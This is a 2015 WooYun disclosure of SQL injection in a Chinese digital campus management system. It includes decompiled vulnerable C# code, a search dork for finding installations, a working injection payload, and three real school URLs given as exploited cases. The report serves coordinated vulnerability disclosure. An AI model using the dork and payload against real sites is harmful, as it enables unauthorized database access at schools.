当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101749

漏洞标题:某数字化校园管理系统#SQL注入3

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-03-17 16:40

修复时间:2015-06-18 17:42

公开时间:2015-06-18 17:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向第三方安全合作伙伴开放
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

RT

详细说明:

关键词:intitle:数字校园平台—Digital Campus2.0 Platform

2015-03-16_153635.png


文件:code/application/book/syscommontypemain.aspx
部分代码:

private void DoCmd(string Method)
{
if (Method != null)
{
if (!(Method == "add"))
{
if (!(Method == "edit"))
{
if (!(Method == "check"))
{
if (!(Method == "del"))
{
if (Method == "checkNum")
{
this.CHECKNUM();
}
}
else
{
this.DeletSysCommonType();
}
}
else
{
this.SysCommonTypeNameIsOk();
}
}
else
{
this.Edit();
}
}
else
{
this.AddSysCommonType();
}
}
}


关键代码:

public void DeletSysCommonType()
{
SysCommonTypeManager sysCommonTypeManager = new SysCommonTypeManager();
string text = (base.Request.Form["SCTID"] == null) ? "" : base.Request.Form["SCTID"].ToString();
string text2 = (base.Request.Form["ParentID"] == null) ? "" : base.Request.Form["ParentID"].ToString();
string text3 = base.Request.Form["notes"];
if (text != null && text.Length > 0 && text2 != null)
{
BaseDBCon baseDBCon = new BaseDBCon();
baseDBCon.Open();
int num = sysCommonTypeManager.DeleParenID(baseDBCon, text);
if (num == 0)
{
sysCommonTypeManager.DeleRole(baseDBCon, text);
int num2 = sysCommonTypeManager.DeleParenID(baseDBCon, text2);
if (num2 == 0)
{
sysCommonTypeManager.UpDateRole(baseDBCon, text2);
}
base.Response.Write("{success:'true'}");
}
else
{
base.Response.Write("{success:'Exception'}");
}
baseDBCon.Close();
}
else
{
base.Response.Write("{success:'Exception'}");
}
}


string text = (base.Request.Form["SCTID"] == null) ? "" : base.Request.Form["SCTID"].ToString();
string text2 = (base.Request.Form["ParentID"] == null) ? "" : base.Request.Form["ParentID"].ToString(); //这里的SCTID和ParentID是没有过滤直接带入查询了。

漏洞证明:

案例1:

http://www.jszx.cn/code/application/book/syscommontypemain.aspx?Method=del


POST:

SCTID=1' and 1=@@version and '1'='1&ParentID=1&notes=1

2015-03-16_194508.png


案例2:

http://www.tzby.net/code/application/book/syscommontypemain.aspx?Method=del


2015-03-16_194601.png


案例3:

http://www.lhdtxx.com/code/application/book/syscommontypemain.aspx?Method=del


2015-03-16_194742.png

修复方案:

过滤 。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-03-20 17:41

厂商回复:

最新状态:

暂无